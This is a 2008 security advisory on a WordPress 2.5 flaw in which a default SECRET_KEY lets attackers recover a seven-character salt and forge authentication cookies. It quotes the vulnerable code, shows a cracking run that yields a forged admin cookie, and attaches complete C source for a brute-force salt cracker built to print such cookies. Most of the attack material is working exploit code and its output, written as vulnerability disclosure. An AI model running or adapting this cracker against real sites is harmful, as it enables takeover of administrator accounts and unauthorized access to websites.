wp-saltcrack.txt

`WORDPRESS 2.5 - SALT CRACKING VULNERABILITY  
-------------------------------------------  
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability  
By J. Carlos Nieto <[email protected]>   
http://xiam.menteslibres.org  
  
Severity  
========  
Medium. It affects only a determinate part of the WordPress users under  
specific conditions.  
  
Affected software  
=================  
WordPress 2.5  
  
Vulnerability conditions  
========================  
After the initial WordPress instalation, the wp-config.php's SECRET_KEY   
must remain as te default value: 'put your unique phrase here' or be   
undefined, the default value remains untouched after installing via a   
browser.  
When the WordPress package is unpacked and the victim is ready to   
install it, he will be asked to read the manual in order to create a   
wp-config.php file, or to change permissions for the installation   
directory to be writable. If he choose to change directory permissions,   
the installation will be completely via web and the SECRET_KEY will   
remain as the default value.  
There exists some other conditions that let the user install WordPress   
without even knowing that he must change a SECRET_KEY in wp-config.php  
  
1.- If the user attempts to install WordPress on Windows. Since Windows   
does not have a strong permissions check.  
2.- If the user attempts to install WordPress under Apache + suexec. The   
files are not readable or writable for all other users, but writable for   
the user himself. Thus the installed won't ask you to read the manual.  
3.- Some hosting companies have a one-click installer that does not   
setup a SECRET_KEY.  
4.- You failed to read the whole installation manual.  
  
  
Vulnerable scripts  
==================  
wp-include/pluggable.php  
function wp_validate_auth_cookie($cookie) {  
...  
// The cookie is not being validated.  
list($username, $expiration, $hmac) = explode('|', $cookie);  
...  
// I could send 9999999999 as the second argument of the cookie to   
skip this condition.  
if ( $expired < time() )  
return false;  
...  
  
// A mysterious hash is used here, the hash becomes a seven  
// character word generated by wp_generate_password()  
// (a.k.a. SECRET_SALT), note that wp_salt() sets  
// $secret_key to null if SECRET_KEY is equal to the default value.  
.  
// The argument passed to wp_hash() in the next line is  
// completely poisonable.  
  
// To gain admin privileges I could use:  
// 'admin|9999999999|MISTERIOUSHASH' as my cookie.  
$key = wp_hash($username . $expiration);  
$hash = hash_hmac('md5', $username . $expiration, $key);  
  
// A weak check, I may provide a custom $hmac by knowing  
// the wp_salt()'s value.  
if ( $hmac != $hash )  
return false;  
  
// There is no password check, not even IP verification  
$user = get_userdatabylogin($username);  
}  
...  
function wp_salt() {  
global $wp_default_secret_key;  
$secret_key = '';  
  
// If the key is null, not defined or has the default  
// value $secret_key remains null  
// if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && (   
$wp_default_secret_key != SECRET_KEY) )  
$secret_key = SECRET_KEY;  
  
if ( defined('SECRET_SALT') ) {  
$salt = SECRET_SALT;  
} else {  
$salt = get_option('secret');  
if ( empty($salt) ) {  
$salt = wp_generate_password();  
update_option('secret', $salt);  
}  
}  
  
// $salt is a seven char long password. $secret_key is null.  
return apply_filters('salt', $secret_key . $salt);  
}  
  
The wp_salt()'s value is stored here:  
  
mysql> select * from wp_options where option_name = 'secret';  
+-----------+---------+-------------+--------------+----------+  
| option_id | blog_id | option_name | option_value | autoload |  
+-----------+---------+-------------+--------------+----------+  
| 61 | 0 | secret | eat5fsE | yes |  
+-----------+---------+-------------+--------------+----------+  
1 row in set (0.00 sec)  
  
So if the attacker gets the value of that seven length string he can  
craft a special cookie and gain access to ANY account he wants.  
  
How can I know the value of wp_salt()?  
--------------------------------------  
I am thinking of two ways to get the value of the wp_salt():  
1.- Gain access to the WP database by using a SQL injection (such as the  
GBK encoding and addslashes() issue) on the WordPress core itself or on  
a third party plugin (the latest is more likely to be possible). I din't  
find any user-level SQL injection on the WP core.  
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named  
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an   
offline attack using an specialized program.  
  
Possible solution  
=================  
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to   
change the SECRET_KEY's value.  
The SECRET_KEY should be changed automatically to something random.  
  
Proof of concept  
================  
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack   
wp_salt()'s values using a legitimate cookie as an argument.  
  
This is the output of my program cracking the wp_salt() based on a   
unprivileged user cookie:  
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:  
  
$ gcc -lcrypto -Wall -o wpsalt wpsalt.c  
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE  
=== Success! ===  
* Key: eat5fsE  
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442  
  
=== Statistics ===  
* Time taken: 31.240000 s  
* Average speed: 308986.363636 w/s  
  
The arguments of the wp_salt cracker are:  
./wpsalt username timestamp hash [charset]  
  
The average speed of my program is 360000 words per second.  
There are 62 characters that can be used to generate a 7 character long   
wp_password(). If we perform a linear attack, we would have to wait (in   
the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are   
lucky and we feed the program with a 31 long (a half of the total)   
character set that contains the seven magic letters, the attack can be   
reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if   
we are very lucky. The time of the attack is incremented exponentially   
with each extra character.  
  
Vulnerability timeline  
======================  
Apr 12, 2008 - Vulnerability found.  
Apr 13, 2008 - Vendor notified (no response).  
Apr 15, 2008 - Public disclosure.  
  
  
Acknowledgments  
===============  
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to  
report a WordPress security vulnerability and helped me to test the  
severity of the issue.  
  
Attachments  
===========  
--- begins wpsatl.c ---  
  
/***  
*  
* Wordpress 2.5 cookie based salt cracker  
* by J. Carlos Nieto <[email protected]>  
* http://xiam.menteslibres.org  
*  
* Date:  
* April 13, 2008  
*  
* Advisory:  
*   
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability  
*  
* $ gcc -Wall -lcrypto -o wpsalt wpsalt.c  
* $ ./wpsalt  
*  
* */  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/types.h>  
#include <openssl/md5.h>  
#include <time.h>  
  
#define CHARSET   
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  
#define KEY_LEN 7  
  
#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)  
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')  
  
void digest_to_string(unsigned char *, unsigned char *);  
void print_digest(unsigned char *);  
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);  
void exit(int);  
void help();  
void wp_hash(char *, int, unsigned char *, int, unsigned char *);  
void error(const char *);  
void string_to_digest(const char *, unsigned char *);  
  
void digest_to_string(unsigned char *digest, unsigned char *string) {  
int i;  
int s;  
  
for (i = 0; i < 16; i++) {  
s = digest[i]%16;  
string[i*2] = dechex((digest[i]-s)/16);  
string[i*2+1] = dechex(s);  
}  
  
string[32] = 0;  
}  
  
void print_digest(unsigned char *digest) {  
unsigned char string[32];  
digest_to_string(digest, string);  
printf("%s\n", string);  
}  
  
/* http://www.faqs.org/rfcs/rfc2104.html */  
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int   
key_len, unsigned char *digest) {  
MD5_CTX context;  
unsigned char k_ipad[65];  
unsigned char k_opad[65];  
//unsigned char tk[16];  
int i;  
  
/*  
if (key_len > 64) {  
MD5_CTX tctx;  
  
MD5_Init(&tctx);  
MD5_Update(&tctx, key, key_len);  
MD5_Final(tk, &tctx);  
  
key = tk;  
key_len = 16;  
}  
*/  
  
bzero(k_ipad, 65);  
bzero(k_opad, 65);  
  
bcopy(key, k_ipad, key_len);  
bcopy(key, k_opad, key_len);  
  
for (i = 0; i < 64; i++) {  
k_ipad[i] ^= 0x36;  
k_opad[i] ^= 0x5c;  
}  
  
MD5_Init(&context);  
MD5_Update(&context, k_ipad, 64);  
MD5_Update(&context, text, text_len);  
MD5_Final(digest, &context);  
  
MD5_Init(&context);   
MD5_Update(&context, k_opad, 64);  
MD5_Update(&context, digest, 16);  
MD5_Final(digest, &context);  
}  
  
void help() {  
printf("WordPress 2.5, cookie based salt cracker\n");  
printf("by xiam <[email protected]>\n");  
printf("============================================================\n");  
printf("Advisory:   
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n");  
printf("\n");  
printf("Usage:\n");  
printf(" ./wpsalt username timestamp hash [charset]\n");  
printf("\n");  
printf("Example:\n");  
printf(" Get a legitimate user cookie, it doesn't need to be from\n");  
printf(" a privileged user.\n");  
printf(" It should look like this:\n");  
printf(" admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");  
printf(" Run the program:\n");  
printf(" $ ./wpsalt admin 1208298864 \\\n");  
printf(" 981a2a1363e9044a1181661b46777410\n");  
printf(" Now wait some months... or if you're feeling lucky,   
specify\n");  
printf(" a charset such as in the example below:\n");  
printf(" $ ./wpsalt admin 1208298864 \\\n");  
printf(" 981a2a1363e9044a1181661b46777410 aef5Est\n");  
exit(0);  
}  
  
  
void wp_hash(char *data, int data_len, unsigned char *key, int key_len,   
unsigned char *digest) {  
unsigned char salt[16];  
unsigned char inter_key[32];  
  
hmac_md5((unsigned char *)data, data_len, key, key_len, salt);  
  
digest_to_string(salt, inter_key);  
  
hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);  
}  
  
void error(const char *s) {  
printf("E: %s\n", s);  
exit(0);  
}  
  
void string_to_digest(const char *string, unsigned char *digest) {  
int i;  
int c;  
  
if (strlen((char *)string) == 32) {  
for (i = 0; i < 16; i++) {  
c = hexdec(string[2*i])*16;  
c += hexdec(string[2*i+1]);  
digest[i] = c;  
}  
} else {  
error("The hash must be a 32 chars string.");  
}  
}  
  
int main(int argc, char *argv[]) {  
  
unsigned char goal_digest[16];  
unsigned char key[KEY_LEN+1];  
  
char *data;  
char *charset;  
  
int map[KEY_LEN];  
int charset_len, data_len;  
  
unsigned long long int words;  
int i, j, carr, cont;  
clock_t time_start, time_end;  
double total_time;  
unsigned char digest[16];  
  
data = NULL;  
charset = NULL;  
  
if (argc > 3) {  
  
string_to_digest(argv[3], goal_digest);  
  
data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) +   
strlen(argv[2]) + 1));  
strcat(data, argv[1]);  
strcat(data, argv[2]);  
  
if (argc > 4) {  
charset = argv[4];  
} else {  
charset = CHARSET;  
}  
} else {  
help();  
}  
  
data_len = strlen(data);  
  
charset_len = strlen(charset)-1;  
  
for (i = 0; i < KEY_LEN; i++) {  
map[i] = 0;  
key[i] = charset[0];  
}  
key[i] = '\0';  
  
map[0] = -1;  
  
time_start = clock();  
  
for (words = -1, cont = 1; cont; words++) {  
  
j = 0;  
  
map[j]++;  
  
if (map[j] > charset_len) {  
map[0] = 0;  
key[0] = charset[0];  
carr = 1;  
j++;  
while (carr) {  
if (j < KEY_LEN) {  
map[j]++;  
if (map[j] > charset_len) {  
map[j] = 0;  
} else {  
carr = 0;  
}  
key[j] = charset[map[j]];  
j++;  
} else {  
cont = 0;  
carr = 0;  
}  
}  
} else {  
key[0] = charset[map[0]];  
}  
  
wp_hash(data, data_len, key, KEY_LEN, digest);  
  
if (memcmp(digest, goal_digest, 16) == 0) {  
printf("=== Success! ===\n");  
printf("* Key: %s\n", key);  
  
wp_hash("admin9999999999", 15, key, KEY_LEN, digest);  
  
printf("* Valid cookie: admin%%7C9999999999%%7C");  
print_digest(digest);  
cont = 0;  
}  
  
}  
  
time_end = clock();  
total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;  
  
printf("\n");  
printf("=== Statistics ===\n");  
printf("* Time taken: %f s\n", total_time);  
printf("* Average speed: %f w/s\n", words/total_time);  
  
return 0;  
}  
--- ends wpsalt.c ---  
  
--   
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire  
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org  
`